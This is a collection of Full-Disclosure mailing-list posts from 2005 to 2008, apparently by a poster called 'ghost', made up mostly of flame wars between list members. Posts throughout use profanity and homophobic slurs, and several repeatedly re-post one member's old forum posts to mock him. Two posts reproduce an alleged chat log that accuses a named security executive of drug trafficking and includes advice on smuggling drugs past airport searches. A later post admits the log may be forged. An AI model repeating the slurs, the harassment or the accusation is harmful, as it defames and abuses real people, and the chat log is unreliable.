>>> and web 2.0 worms, that turned out to be utter rubbish (He does work
>>> for Trend Micro afterall), but in true tradition, let's here some of
>>> your predictions that might turn out to be bullshit as well.
>>>
>>> n3td3v
>>>
>>> ___
>>> Full-Disclosure - We believe in it.
>>> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>>> Hosted and sponsored by Secunia - http://secunia.com/
>>>
>>
>> ___
>> Full-Disclosure - We believe in it.
>> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>> Hosted and sponsored by Secunia - http://secunia.com/
>>
>
> ___
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Fwd: Solving of problems

[ghost]

FWD FUD FTW

On Thu, Dec 4, 2008 at 8:34 PM, Ureleet <[EMAIL PROTECTED]> wrote:
> -- Forwarded message --
> From: Ureleet <[EMAIL PROTECTED]>
> Date: Thu, Dec 4, 2008 at 8:34 PM
> Subject: Re: Solving of problems
> To: Mike C <[EMAIL PROTECTED]>
> Cc: n3td3v <[EMAIL PROTECTED]>
>
>
> who says we have it in for each other at all?  what makes u the
> official 'problem' solver.  i am the Yin to n3td3v's yang, u r just
> fucking up the rotation.
>
> On Wed, Dec 3, 2008 at 9:48 PM, Mike C <[EMAIL PROTECTED]> wrote:
>> Ok. Lets restart. Why has the bickering restarted?
>>
>> Why do you have it in for each other?
>>
>> --
>> MC
>> Security Researcher
>> Lead, Project Chroma
>> http://sites.google.com/site/projectchromaproject/
>>
>
> ___
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Project Chroma: A color code for the state ofcyber security

[ghost]

A colour scheme will save the world huh? So theyll be more dangerous
when its red? Wont it always be red? why not just cut out the color
scheme and emboss "THE INTERNET IS DANGEROUS, SERIOUS BUSINESS!" on
every monitor. It will do the exact same thing your suggesting.
without taking up my screen space.

> On Wed, Dec 3, 2008 at 9:45 PM, Mike C <[EMAIL PROTECTED]> wrote:
>> On Tue, Dec 2, 2008 at 11:29 AM, Elazar Broad <[EMAIL PROTECTED]> wrote:
>>> -BEGIN PGP SIGNED MESSAGE-
>>> Hash: SHA1
>>>
>>>
>>>
>>> On Tue, 02 Dec 2008 11:50:46 -0500 rholgstad <[EMAIL PROTECTED]>
>>> wrote:
Mike C wrote:
> On Mon, Dec 1, 2008 at 5:27 PM, rholgstad <[EMAIL PROTECTED]>
wrote:
>
>> and how does making a color based on these inputs protect
people?
>>
>>
>
> Once all desktops have an icon or widget (say at the right hand
> corner) with the color, and this is consistently seen
everywhere, the
> users will start associating with their online security. they
will be
> reminded that they have to be careful with the data they share.
>
> This, if implemented correctly will be a boon to security
industry,
> where the weakest kinks currently are 'n00b'  users.
>
>
you are joking right?

So some widget is going to stop the next SMB remote or IE client
side
and protect the 'n00b' users? Please explain how this works. Also
please
explain how "they will be reminded that they have to be careful
with the
data they share. " has anything to do with protecting a users
machine
from being compromised.
>>>
>>> Thats the whole point. There is a fine line between using visual
>>> alerts to put people(Joe six pack) into a state of "awareness"(more
>>> like mild hysteria) of a threat versus knowing how to protect
>>> oneself against that threat and using that awareness indicator as
>>> the kick in the ass to get moving and shore up the defenses(hell,
>>> how many security folk do this too, then again, every time
>>> something goes bump we see red). Visual alerts are great at
>>> persuasion tools, especially when the goal is to get Joe to buy
>>> your latest all-in-one-will-make-your-coffee-and-buy-you-beer
>>> AV/Malware/Spyware/Foo(whats this doing here?)/evil monkey in the
>>> closet package. So of course, Joe will never learn how to properly
>>> defend his computer/data, and the "industry" will prosper.
>>>
>>
>> I dont think it is a lost battle. This method could prove an excellent
>> way to solve this age old problem.
>>
>>> Now, thanks to our good friends over at the DHS, the color system
>>> has turned into a complete and utter joke(for the most part), so my
>>> friend, you see, this a complete exercise in futility(besides the
>>> fact that every friggin AV/IDS/Security/SIM company out there has
>>> red, yellow and green as their corporate "flag", if you are just
>>> joining the party, then you can completely ignore this)
>>>
>> DHS implementation leaves a lot to be desired. Please do not compare
>> this to DHS's implementation.
>>
>>> If you really want to change state of security for the n00bs,
>>> spread the knowledge, not the colors.
>>>
>> Thats what project Chroma is all about.. Are you on board?!
>>
>> --
>> MC
>> Security Researcher
>> Lead, Project Chroma
>> http://sites.google.com/site/projectchromaproject/
>>
>> ___
>> Full-Disclosure - We believe in it.
>> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>> Hosted and sponsored by Secunia - http://secunia.com/
>>
>
> ___
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] News for Ureleet

[ghost]

a wanka mate? well i be a fag from down unda, cheers & jolly ho ol
chap. This is the only contribution youve made to full-disclosure. So
whos the useless wanka then? go on back to your bread pudding before i
take a piss on ya and give you a good rodging.

On Thu, Dec 4, 2008 at 5:59 PM, Noel Butler <[EMAIL PROTECTED]> wrote:
> really, interesting.. how can they contribute to anyone else's benefit,
> since they are both fucking cockheads and are in almost everyones shitlist
> filters, infact how do we not know ghost, you are not another one of this
> delusional fuckheads aliases, you'd have to be, to be even making out like
> you even read anything those wankas post.
>
>
>
> On Thu, 2008-12-04 at 13:23, ghost wrote:
>
> Hey mike, how about you stop playing moderator you fucking douche bag.
> I for one believe netdev brings alot to this list and encourage him
> and ureleet to continue posting.
>
> On Wed, Dec 3, 2008 at 9:47 PM, Mike C <[EMAIL PROTECTED]> wrote:
>> Hye Guys,
>>
>> I though we had settled the issues offline. Lets restart our
>> discussions.. this bickering is highly unnecessary on the list.
>>
>> --
>> MC
>> Security Researcher
>> Lead, Project Chroma
>> http://sites.google.com/site/projectchromaproject/
>>
>> ___
>> Full-Disclosure - We believe in it.
>> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
>> Hosted and sponsored by Secunia - http://secunia.com/
>>
>
> ___
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] News for Ureleet

[ghost]

Hey mike, how about you stop playing moderator you fucking douche bag.
I for one believe netdev brings alot to this list and encourage him
and ureleet to continue posting.

On Wed, Dec 3, 2008 at 9:47 PM, Mike C <[EMAIL PROTECTED]> wrote:
> Hye Guys,
>
> I though we had settled the issues offline. Lets restart our
> discussions.. this bickering is highly unnecessary on the list.
>
> --
> MC
> Security Researcher
> Lead, Project Chroma
> http://sites.google.com/site/projectchromaproject/
>
> ___
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] SCADA Security Corruption

[Ghost Rider]

After some offline discussion and a bit more research I agree that the
credibility doesn't seem very reliable.  It looks like it was on a
(non-google) server archive where somebody was manually saving chat
archives.  Who knows... they could have been forged or manipulated.
The only way to know for sure would be to see the actual google server
archive.

On Feb 17, 2008 10:28 AM, Ghost Rider <[EMAIL PROTECTED]> wrote:
> I was trying to do a little research on SCADA security and I noticed
> this one guy's name (Jonathan Pollet) kept coming up.  It seems he is
> one of the leading experts and it also looks like he is a Vice
> President at Industrial Defender (www.industrialdefender.com).  It
> looks like they are a leading SCADA security company.  Well through my
> Google searching I also came across an interesting archived Google
> Talk chat with his name in it.  I guess not only is this guy a leader
> in SCADA Security it seems he is into drug trafficking also (pasted
> below).  These are the people protecting critical networks like power
> grids and nuclear plants!?!?!?!
>
>
> Chat with Jonathan Pollet show details 7/29/07
>
> Jonathan Pollet to me
>
>
> (SNIP…)
>
>
> 11:51 PM Jonathan: nice
>
>   speaking of drugs...ha ha
>
>   i felt weird asking you about that today
>
>  me: yeah we'll have to hook up 'morrow
>
>   i don't care
>
>  Jonathan: but I really didn't know where to turn
>
>   so thanks
>
> 11:52 PM me: yeah i have shady friends
>
>   lol
>
>  Jonathan: I've got to figure out the best way to transport it through
> Chicago and onto Vegas
>
>  me: oh shit you have a destination before vegas?
>
>   well don't put it in your checked bags
>
> 11:53 PM Jonathan: yeah that's what i heard too
>
>  me: you'll have about an 80 to 90% chance of getting popped
>
>  Jonathan: i was thinking of splitting all the flaps up
>
>  me: best way is to tape it to your leg
>
>  Jonathan: into different places in my laptop bad
>
>   bag
>
>   ah
>
>   cool
>
>   didn't think about that
>
>  me: don't put it in ANY bag
>
>   if you get popped for a random search they can find it
>
> 11:54 PM Jonathan: can you have Ross break it up into small bagges
>
>  me: yeah
>
>  Jonathan: or paper flaps
>
>   just not foil
>
>  me: it'll be tiny tiny ziplocks
>
>   you can tape those to your leg
>
>  Jonathan: sweet
>
> 11:55 PM i can handle that
>
>  me: chances of you getting strip searched is probably zero
>
>  Jonathan: yeah, I've flown thousands of times
>
>  me: chances of you walking past a drug dog is zero
>
>  Jonathan: never strip searched at all
>
>  me: yeah you'll be 100% safe taping it to you
>
>  Jonathan: i've ran into a god beforebut only going in and out of canada
>
>   dog
>
> 11:56 PM me: i've never found god in an airport
>
>   :P
>
>  Jonathan: haha
>
>
> (..SNIP)
>

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

[Full-disclosure] SCADA Security Corruption

[Ghost Rider]

I was trying to do a little research on SCADA security and I noticed
this one guy's name (Jonathan Pollet) kept coming up.  It seems he is
one of the leading experts and it also looks like he is a Vice
President at Industrial Defender (www.industrialdefender.com).  It
looks like they are a leading SCADA security company.  Well through my
Google searching I also came across an interesting archived Google
Talk chat with his name in it.  I guess not only is this guy a leader
in SCADA Security it seems he is into drug trafficking also (pasted
below).  These are the people protecting critical networks like power
grids and nuclear plants!?!?!?!


Chat with Jonathan Pollet show details 7/29/07

Jonathan Pollet to me


(SNIP…)


11:51 PM Jonathan: nice

  speaking of drugs...ha ha

  i felt weird asking you about that today

 me: yeah we'll have to hook up 'morrow

  i don't care

 Jonathan: but I really didn't know where to turn

  so thanks

11:52 PM me: yeah i have shady friends

  lol

 Jonathan: I've got to figure out the best way to transport it through
Chicago and onto Vegas

 me: oh shit you have a destination before vegas?

  well don't put it in your checked bags

11:53 PM Jonathan: yeah that's what i heard too

 me: you'll have about an 80 to 90% chance of getting popped

 Jonathan: i was thinking of splitting all the flaps up

 me: best way is to tape it to your leg

 Jonathan: into different places in my laptop bad

  bag

  ah

  cool

  didn't think about that

 me: don't put it in ANY bag

  if you get popped for a random search they can find it

11:54 PM Jonathan: can you have Ross break it up into small bagges

 me: yeah

 Jonathan: or paper flaps

  just not foil

 me: it'll be tiny tiny ziplocks

  you can tape those to your leg

 Jonathan: sweet

11:55 PM i can handle that

 me: chances of you getting strip searched is probably zero

 Jonathan: yeah, I've flown thousands of times

 me: chances of you walking past a drug dog is zero

 Jonathan: never strip searched at all

 me: yeah you'll be 100% safe taping it to you

 Jonathan: i've ran into a god beforebut only going in and out of canada

  dog

11:56 PM me: i've never found god in an airport

  :P

 Jonathan: haha


(..SNIP)

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] SSHatter 0.6

[ghost]

Professionals don't care about finding elegant ways into systems,
they're there to GET into systems. Rethink your assessment.

On 10/7/07, phioust <[EMAIL PROTECTED]> wrote:
> Who does a tool like this help?
>
> I would hope that the professionals on this list would not rely on weak
> password combinations for access into systems.
> That leads me to believe that this will only help script kiddies and flood
> my ssh logs with more root:root and mysql:mysql failed ssh attempts.
>
> On top of that your idea is not original all you did was rip the sshbrute of
> the great tal0n [1]
>
> I would hope for now on that you do not flood the list with such script
> kiddie tools and reserve them instead for the milw0rm crowd
>
> [1] http://www.encyclopediadramatica.com/Tal0n
>
> ___
> Full-Disclosure - We believe in it.
> Charter:
> http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Fight Censorship on Full-Disclosure

[ghost]

netdev=gobbles ? no... and funny how its more annoying that all you
idiots keep posting it than n3td3v's actual posts... repost follows
below...

On 5/13/07, jt5944-27a <[EMAIL PROTECTED]> wrote:
> -BEGIN PGP SIGNED MESSAGE-
> Hash: SHA1
> oh yeah "Uncle-Semite.com is the work of
> various contributors, collectively referred to as "Uncle Semite.""
> thats just how gobbles/n3td3v describes himself. no wonder you hate
> gadi so much - hes jewish.



google: xploitable site:chat-help.co.uk
-
-
http://www.bigblueball.com/forums/showthread.php?p=159874#post159874

02-17-2005, 12:11 PM
n3td3v   n3td3v is offline
Banned

Join Date: Aug 2004
Posts: 220 n3td3v can only hope to improve
Default Serious post
Don't delete my posts again, without asking or giving warning. A quick
e-mail to say your not happy with a post and ask me to modify or
delete it myself is too much to ask??

Trust me, if you want to be rude, i'll be rude back to you, and if you
keep doing it, i'll make sure this website gets hacked.

I've had enough of it, its happened more than once, I don't like being
treated the way you treat people.

You'll probably want to delete this thread too, cause you love
controlling people so much.

Last edited by DJHyperbyte : 02-17-2005 at 02:09 PM. Reason: Removed insults.

-
-
http://lists.virus.org/full-disclosure-0411/msg00907.html


FW: [Full-Disclosure] Shadowcrew Grand Jury Indictment
n3td3v n3td3v <[EMAIL PROTECTED]>
Wed, 17 Nov 2004 17:53:44 +

   * Previous message: FW: [Full-Disclosure]
Shadowcrew Grand Jury Indictment
   * Next message: FW: [Full-Disclosure] Shadowcrew
Grand Jury Indictment
   * Messages sorted by: [ date ] [ thread ] [
subject ] [ author ]

On Wed, 17 Nov 2004 11:41:20 -0600, Todd Towles
<[EMAIL PROTECTED]> wrote:
> Well, it is given that posting to FD does give a
site exposure (good and
> bad). But I wouldn't say that FD was the cause of
it..it was the illegal
> activity that was the cause of it. We all know SCC
does some underground
> stuff and they post here each time they move. So...I
wouldn't blame the
> FD list for anything.

I wouldn't use the word blame? I think its a good
thing if
Full-Disclosure is helping to catch online criminals.
I don't know if
you like malicious hackers and other criminals, but
yeah I dislike
them. I would do anything in my power to stop online
crime, from
scriptkiddie stuff, to sex stuff,spam,scams, fraud,
terrorism and back
again.

I have no space for anyone thinking they are elite and
all the other
hacker scene crap. Its time to clamp down on the BS
thats on the net.

If I was in gov, I would shut a site down that looks
remotely
hax0rish, even if they've done nothing wrong. All
these crews and
hacker groups, fk them all. The net needs zero
tollerence with online
crime. Govs should have the authority to close
anything done because
they feel like it, without needing to prove shit.

I would even close IRC channels. Hackphreak on
undernet looks
harmless, but fk that. Close it anyway, its time to
get a tighter grip
on things.

Thanks,n3td3v

-
-
http://archives.neohapsis.com/archives/dailydave/2004-q4/0221.html

You know you're a moron if you have Dave Aitel laughing at you.

-
-
forums.chat-help.co.uk

n3td3v
Member
Member Group: Banned
Joined: 28-August 04
Active Stats
Total Cumulative Posts  4


Re-occuring theme...

-
-
"carbonize" forums, banned again..

n3td3v
post Oct 11 2004, 03:08 PM
Post #3

QUOTE(carbonize @ Oct 10 2004, 03:29 AM)
QUOTE(n3td3v @ Oct 9 2004, 08:18 PM)
Suggestion: stop acting like a wanker on sites like chat-help and grow
the fuk up.
*
Looked in a mirror lately?
*

Lamer you are a boring bastard with no skills. All you can post on
homepage is about lame gmail accounts five years after the novelty of
invites wore off.

You cannot hack to save yourself homo.

Running out of things to psot on homepage homo? Heh, i think so.

This website will die a sorry death because you have nothing worth saying.

-
-
* this is him, before being banned and using the name n3td3v

http://ourchat.org/forums/index.php?showuser=930

Viewing Profile: xploitable
xploitable

Everyone Needs A Cyber Security Pet In Life :)
Group Icon

Member Group: Banned
Joined: 3-February 04

Re: [Full-disclosure] Google Code Search and Security

[ghost]

Nope, I didn't. I also didnt see the 800 articles that popped up about
it, or the 3000 "people"... who keep posting about "great new
words to search for" in their blogs.

Somebody put me into a colma till google search words posts stop
showing up... please?

On 10/10/06, c.e. gene connor <[EMAIL PROTECTED]> wrote:
>  did you all know about this new feature? I just found it.
>  http://code.google.com/
>
>  direct link http://www.google.com/codesearch
>
> I also just saw this in another mail I just read!!!
> Hackers pounce on Google Code Search
>
> http://www.vnunet.com/vnunet/news/2165982/hackers-google-code-search
>
>
> Enjoy!
>
>
> Gene C.
> UPDATED/SCUM of Florida
> In Memory of my little brother
> http://genec-lori.com/
>
> Genes-Computers Inc.
> Yulee ,Fl
> Established 1981, Microsoft OEM Registered member, system builder & Active
> registered Microsoft Partner
> Active Charter Partner of The Association of System Builders and Integrators
> If you think you're beaten, Then you are!
> If you give up the fight, Accept it !!
>
> ___
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>

___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Phishing Alert: Inland Revenue Service

[ghost]

It was all over the news douchebag, and full-disclosure isn't for
lamers to report phishing attempts.


On 12/14/05, n3td3v <[EMAIL PROTECTED]> wrote:
> My service has Websense alerts sent to it, what are you talking about?
> http://groups.google.com/groups?enc_author=Ysm7kCMAAADoSwzwEVwOrDqxRRjwu7fEAzoilD9AwWWOM_baJ4DHxVjI-r6G--cUt-pl3NuIesM&scoring=d
> The phishing e-mail I am talking about was sent directly to my
> security news wire (see headers), I feel I have a responsibility to
> report on it.
>
> On 12/14/05, Todd Towles <[EMAIL PROTECTED]> wrote:
> > Wow n3td3v, I think I am going to kill my Websense Phishing alerts and
> > use your serviceshould we really be posting every little phishing
> > e-mail to the FD list? Is there anything special about this e-mail? Not
> > technique being used? ...
> ___
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Famous n3td3v quotes - The Director's Cut

[ghost]

"MW, days2t, jasonv = three security professionals " was funnier than
the actual log.


On 12/14/05, Xyberpix <[EMAIL PROTECTED]> wrote:
>
> http://www.threatlab.com/r-u-fed.html
>
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Famous n3td3v quotes - The Director's Cut (outnow on DVD)

[ghost]

"I had to backstab some folks I had been be friending
to bring this about, but who care about that?" ~n3td3v

Which means that you didn't find the bug and someone just pointed it
out to you(I got 20$ that says its that morning_wood lamer.) So, after
taking all those insults from the others, you must of been in tears,
and you needed to prove how elite you were! You aren't the "lamest
piece of shit 2005-2006." You think to yourself, i'm not gonna win
that award for a second year in a row! You post your XSS bug, and
think, now I got the juice!


You know whats makes you even more funny? you try and claim you have
this great pull&interaction with yahoo, but on your website at the
beginning of this year you said something about yahoo ignoring you and
that you were going to "release 0day that will cripple them." You even
posted a chat log of a guy you thought was a yahoo security person
trying to SE your info, because yahoo wanted to get your great
h4x0rn3ss [EMAIL PROTECTED] But nevermind those posts, you're the great
n3td3v! security contacts in the highest places of yahoo for 7 years
and all the great dot-coms!

can you even read that with a straight face?



> On 12/11/05, n3td3v <[EMAIL PROTECTED]> wrote:
> > You haven't been able to find in vulnerabilities in Google and Yahoo
> > like i've been doing for the last seven years in private, yet you have
> > never found a single Google or Yahoo vulnerability, so I reckon this
> > pretty much sums you up:
> > http://www.google.co.uk/search?q=define:jealousy
> >
> > On 12/11/05, sk / GroundZero <[EMAIL PROTECTED]> wrote:
> > > i lot of people here got a good sense of humor and actually i can still 
> > > laugh
> > > about every single quote :-)
> > >
> > > -sk
> > > Http://www.groundzero-security.com
> > ___
> > Full-Disclosure - We believe in it.
> > Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> > Hosted and sponsored by Secunia - http://secunia.com/
> >
> ___
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] Re: Google is vulnerable from XSS attack

[ghost]

lol, n3td3v, you are so pathetic. Exactly 1 lame XSS post and now
you're some sort of elite h4x0r, everyone who's googled knows how lame
you really are. You must be related to morning_wood. Lets post this
one last time


google: xploitable site:chat-help.co.uk
-
-
http://www.bigblueball.com/forums/showthread.php?p=159874#post159874

02-17-2005, 12:11 PM
n3td3v
Banned
Join Date: Aug 2004
Posts: 220

Don't delete my posts again, without asking or giving warning. A quick
e-mail to say your not happy with a post and ask me to modify or
delete it myself is too much to ask??

Trust me, if you want to be rude, i'll be rude back to you, and if you
keep doing it, i'll make sure this website gets hacked.

I've had enough of it, its happened more than once, I don't like being
treated the way you treat people.

You'll probably want to delete this thread too, cause you love
controlling people so much.

Last edited by DJHyperbyte : 02-17-2005 at 02:09 PM. Reason: Removed insults.

-
-
http://lists.virus.org/full-disclosure-0411/msg00907.html


FW: [Full-Disclosure] Shadowcrew Grand Jury Indictment
n3td3v n3td3v <[EMAIL PROTECTED]>
Wed, 17 Nov 2004 17:53:44 +

On Wed, 17 Nov 2004 11:41:20 -0600, Todd Towles
<[EMAIL PROTECTED]> wrote:
> Well, it is given that posting to FD does give a
site exposure (good and
> bad). But I wouldn't say that FD was the cause of
it..it was the illegal
> activity that was the cause of it. We all know SCC
does some underground
> stuff and they post here each time they move. So...I
wouldn't blame the
> FD list for anything.

I wouldn't use the word blame? I think its a good
thing if
Full-Disclosure is helping to catch online criminals.
I don't know if
you like malicious hackers and other criminals, but
yeah I dislike
them. I would do anything in my power to stop online
crime, from
scriptkiddie stuff, to sex stuff,spam,scams, fraud,
terrorism and back
again.

I have no space for anyone thinking they are elite and
all the other
hacker scene crap. Its time to clamp down on the BS
thats on the net.

If I was in gov, I would shut a site down that looks
remotely
hax0rish, even if they've done nothing wrong. All
these crews and
hacker groups, fk them all. The net needs zero
tollerence with online
crime. Govs should have the authority to close
anything done because
they feel like it, without needing to prove shit.

I would even close IRC channels. Hackphreak on
undernet looks
harmless, but fk that. Close it anyway, its time to
get a tighter grip
on things.

Thanks,n3td3v

-
-
http://archives.neohapsis.com/archives/dailydave/2004-q4/0221.html

You know you're a moron if you have Dave Aitel laughing at you.

-
-
forums.chat-help.co.uk

n3td3v
Member
Member Group: Banned
Joined: 28-August 04
Active Stats
Total Cumulative Posts  4


Re-occuring theme...

-
-
"carbonize" forums, banned again..

n3td3v  
post Oct 11 2004, 03:08 PM
Post #3

QUOTE(carbonize @ Oct 10 2004, 03:29 AM)
QUOTE(n3td3v @ Oct 9 2004, 08:18 PM)
Suggestion: stop acting like a wanker on sites like chat-help and grow
the fuk up.
*
Looked in a mirror lately?
*

Lamer you are a boring bastard with no skills. All you can post on
homepage is about lame gmail accounts five years after the novelty of
invites wore off.

You cannot hack to save yourself homo.

Running out of things to psot on homepage homo? Heh, i think so.

This website will die a sorry death because you have nothing worth saying.

-
-
* this is him, before being banned and using the name n3td3v

http://ourchat.org/forums/index.php?showuser=930

Viewing Profile: xploitable
xploitable

Everyone Needs A Cyber Security Pet In Life :)
Group Icon

Member Group: Banned
Joined: 3-February 04

-
-
nobody special  
post Feb 3 2004, 04:20 PM
Post #6
Unregistered

ok, my email will be [EMAIL PROTECTED] if anyone wants to crack the
password then go ahead.

*** after people saying that was stupid, then:

I know, i was being silly earlier. I was bored. I'll even give my IP
out to the public... 62.31.***.*** :D

-
-
HAHAHAHAH

Re: [Full-disclosure] Google is vulnerable from XSS attack

[ghost]

shut, the, fuck, up, yellow, bus, rider.

smooches!



On 12/4/05, n3td3v <[EMAIL PROTECTED]> wrote:
> [drama]
> [idiot in the wild wild]
>
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] J. A. Terranson

[ghost]

J.A.,. give up computers, go play in a sandbox. Did you just admit to
threatening to mailbomb someone? lol. Look, "Alif", I like you, really
I do. All your lame posts attacking people really adds to the list's
security awareness, you really are elite. I mean, anyone who puts all
their backups on a PUBLIC FTP SERVER can't be too bad of a guy, ya
know?

Wait... you thought that those harddrive, imail registry, insurance,
and other self generated ego boosting docs were safe? Awww, you're so
cute. I know, I know, you're an *Admin*, you taught the FBI, eric is
your toy, and you probably thought you closed it in time. Does your
wife know about your porn problem? You're almost as bad as that n3td3v
idiot.

In short, all i'm trying to say is, lets not play the one up game.


On 8/28/05, J.A. Terranson <[EMAIL PROTECTED]> wrote:
> 
> On Sat, 27 Aug 2005, [EMAIL PROTECTED] wrote:
> 
> 
> > I decided to be nice to someone who didn't deserve it and correct his
> > mistakes offline so that he wouldn't have to look like a dumbass in public.
> 
> Yeah, whatever.  Nice selfserving utter bullshit.  You were being so
> worried about my welfare that you spent the first five minutes (on a call
> YOU initiated) begging me not to *mailbomb* you?  What kind of psycho shit
> is *that*?  Fucktard.
> 
> 
> > I get it. This is a place where he gets to feel like a big man. A tough
> > guy. Fine. Whatever floats his boat.
> 
> Hrmmm... Sounds like your act on the phone, big guy.  But instead of
> proffering a lecture, you became a cat toy.  Don't pick fights unless you
> are the absolute biggest kid on the fucking playground dickface.
> 
> 
> > For the record, Kid... (Act like a child, you'll get treated like one.)
> 
> For the record dipshit - I now fucking OWN you.  You are MY cat toy.  My
> personal Burnore.  Believe it.  You will rue the day you made that phone
> call for the next fifty fucking years.
>
___
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Re: [Full-disclosure] The Cisco media frenzy

[ghost]

Agent: FANTASTIC!! What do you call youselves???
Pops: The Aristocrates!!!

View attached.


On 8/14/05, n3td3v <[EMAIL PROTECTED]> wrote:
> I think its pathetic the way everyone has handled the whole affair. I
> don't blame Cisco for anything. To see these self proclaimed hackers
> goto Blackhat and Defcon is a complete joke.
> 
> Then we had the self procalimed hackers saying they would target Cisco
> products and make a 0-day disclosure to give Cisco Systems Inc a black
> eye for pulling their planned coordinated speech with this dude
> M.Lynn. What a joke the security community is being right now.
> 
> Its a classic case of jumping on the bandwagaon. Before the summer
> most hadn't given Cisco any thought, but suddenly their public enemy
> number one.
> 
> I suggest that the majority of those attending these conferences are
> indeed script kiddies, not hackers.
> 
> The feds held a "meet the feds" gathering at one of these conferences
> this year.
> 
> They asked everyone to stand up. Those who had never accessed a system
> illegaly were asked to sit down. The rest left standing, were
> instantly photographed by the feds.
> 
> Would a hacker really fall for a trick like that?
> 
> The best security team is http://groups-beta.google.com/group/n3td3v
> 
> Thanks, n3td3v
>  (list-owner)
> 

What happened to your blog? You know, the one where you threatened
yahoo with destruction from a 0d4y spl01t you made.

GREETZ DONNIE WEINER!! YOUR MY IDOL! 

oink oink.

google: xploitable site:chat-help.co.uk
-
-
http://www.bigblueball.com/forums/showthread.php?p=159874#post159874

02-17-2005, 12:11 PM
n3td3v   n3td3v is offline
Banned

Join Date: Aug 2004
Posts: 220 n3td3v can only hope to improve
Default Serious post
Don't delete my posts again, without asking or giving warning. A quick e-mail 
to say your not happy with a post and ask me to modify or delete it myself is 
too much to ask??

Trust me, if you want to be rude, i'll be rude back to you, and if you keep 
doing it, i'll make sure this website gets hacked.

I've had enough of it, its happened more than once, I don't like being treated 
the way you treat people.

You'll probably want to delete this thread too, cause you love controlling 
people so much.

Last edited by DJHyperbyte : 02-17-2005 at 02:09 PM. Reason: Removed insults. 

-
-
http://lists.virus.org/full-disclosure-0411/msg00907.html


FW: [Full-Disclosure] Shadowcrew Grand Jury Indictment
n3td3v n3td3v <[EMAIL PROTECTED]>
Wed, 17 Nov 2004 17:53:44 +

* Previous message: FW: [Full-Disclosure]
Shadowcrew Grand Jury Indictment
* Next message: FW: [Full-Disclosure] Shadowcrew
Grand Jury Indictment
* Messages sorted by: [ date ] [ thread ] [
subject ] [ author ]

On Wed, 17 Nov 2004 11:41:20 -0600, Todd Towles
<[EMAIL PROTECTED]> wrote:
> Well, it is given that posting to FD does give a
site exposure (good and
> bad). But I wouldn't say that FD was the cause of
it..it was the illegal
> activity that was the cause of it. We all know SCC
does some underground
> stuff and they post here each time they move. So...I
wouldn't blame the
> FD list for anything.

I wouldn't use the word blame? I think its a good
thing if
Full-Disclosure is helping to catch online criminals.
I don't know if
you like malicious hackers and other criminals, but
yeah I dislike
them. I would do anything in my power to stop online
crime, from
scriptkiddie stuff, to sex stuff,spam,scams, fraud,
terrorism and back
again.

I have no space for anyone thinking they are elite and
all the other
hacker scene crap. Its time to clamp down on the BS
thats on the net.

If I was in gov, I would shut a site down that looks
remotely
hax0rish, even if they've done nothing wrong. All
these crews and
hacker groups, fk them all. The net needs zero
tollerence with online
crime. Govs should have the authority to close
anything done because
they feel like it, without needing to prove shit.

